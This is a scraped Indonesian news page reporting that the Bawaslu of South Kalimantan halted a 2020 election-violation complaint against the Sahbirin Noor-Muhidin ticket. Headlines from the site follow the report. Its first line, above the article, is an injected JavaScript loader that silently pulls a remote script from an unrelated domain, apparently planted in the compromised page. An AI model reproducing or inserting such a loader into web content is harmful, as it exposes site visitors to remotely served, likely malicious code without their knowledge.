(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Pilgub Kalsel

Laporan Pelanggaran Pilkada oleh Kuasa Hukum Haji Denny Kembali Rontok di Bawaslu Kalsel


KANALKALIMANTAN.COM, BANJARMASIN – Badan Pengawas Pemilu (Bawaslu) Provinsi Kalimantan Selatan (Kalsel) akhirnya menghentikan kasus dugaan pelanggaran pemilu yang dialamatkan kepada pasangan calon (paslon) nomor urut 1 Sahbirin Noor-Muhidin (BirinMu)

Hal itu diungkapkan oleh Koordinator Divisi Penindakan Pelanggaran Bawaslu Kalsel, Azhar Ridhani saat dihubungi via whatshapp, Rabu (4/11/2020). “Hasilnya sudah ada yaitu dihentikan,” ungkapnya.

Ia mengaku bahwa keputusan tersebut merupakan hasil dari rapat pleno yang digelar Bawaslu Kalsel pada tadi malam sampai dengan pukul 23.00 Wita. Pria dengan sapaan Aldo itu menegaskan bahwa laporkan dugaan pelanggaran pemilu yang diajukan oleh Jurkani tersebut tidak cukup bukti untuk memenuhi unsur-unsur sebagaimana pasal yang disangkakan, yakni Pasal 188 jo 71 ayat 3 UU No 6 Tahun 2020 tentang Pilkada.

“Tidak cukup Bukti untuk memenuhi unsur unsur sebagaimana pasal yang disangkakan yaitu pasal 188 jo. 71 ayat 3,” ujarnya singkat. Sebelumnya Bawaslu Kalsel secara resmi menerima laporan dugaan pelanggaran pemilu pasangan calon gubernur dan wakil gubernur Kalsel, Sahbirin Noor-Muhidin, Rabu (28/10/2020)

Pelapornya Jurkani. Ia anggota tim divisi hukum pasangan calon gubernur dan wakil gubernur Kalsel nomor urut 2, Haji Denny-Haji Difri (H2D). Jurkani melaporkan Sahbirin atas dugaan pelanggaran Pasal 71 ayat (3) UU Pilkada.

Dimana mengatur larangan gubernur menggunakan kewenangan, program, dan kegiatan yang menguntungkan atau merugikan salah satu pasangan calon. Jika terbukti, sanksinya tidak main-main yakni sanksi diskualifikasi atau pembatalan petahana dalam kontestasi Pilkada sebagaimana diatur dalam Pasal 71 ayat (5) UU a quo.(Kanalkalimantan.com/putra)

Reporter: Putra
Editor: Cell


Desy Arfianty

Recent Posts

Diskominfo Banjarbaru Gelar Bimtek Sistem Informasi Publik

KANALKALIMANTAN.COM, BANJARBARU - Dinas Komunikasi dan Informatika (Diskominfo) Kota Banjarbaru menggelar bimbingan teknis Sistem Informasi… Read More

26 menit ago

Helpdesk Pilkada 2024 Dibuka, Tidak Ada Paslon Perseorangan ke KPU Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Persiapan pencalonan bakal pasangam calon (Paslon) melalui jalur dukungan perseorangan telah dibuka… Read More

3 jam ago

Dapat Lima Paket Sabu dari Kenalan, Lelaki di Banjarmasin Diringkus Polisi

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Timur menangkap seorang lelaki inisial AH (48) karena… Read More

4 jam ago

Ada Pungli di Kawasan Candi Agung Amuntai, Polisi Turun ke Lokasi

KANALKALIMANTAN.COM, AMUNTAI - Obyek wisata situs Candi Agung Amuntai kerap dikunjungi wisatawan dari dalam maupun… Read More

4 jam ago

Empat Nama Masuk Penjaringan Partai Nasdem Kalsel, Melirik Pilkada Banjarmasin, Tabalong, dan HSS

KANALKALIMANTAN.COM, BANJARBARU - Empat nama masuk dalam penjaringan bakal calon kepala daerah di Kalimantan Selatan… Read More

4 jam ago

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

17 jam ago

This website uses cookies.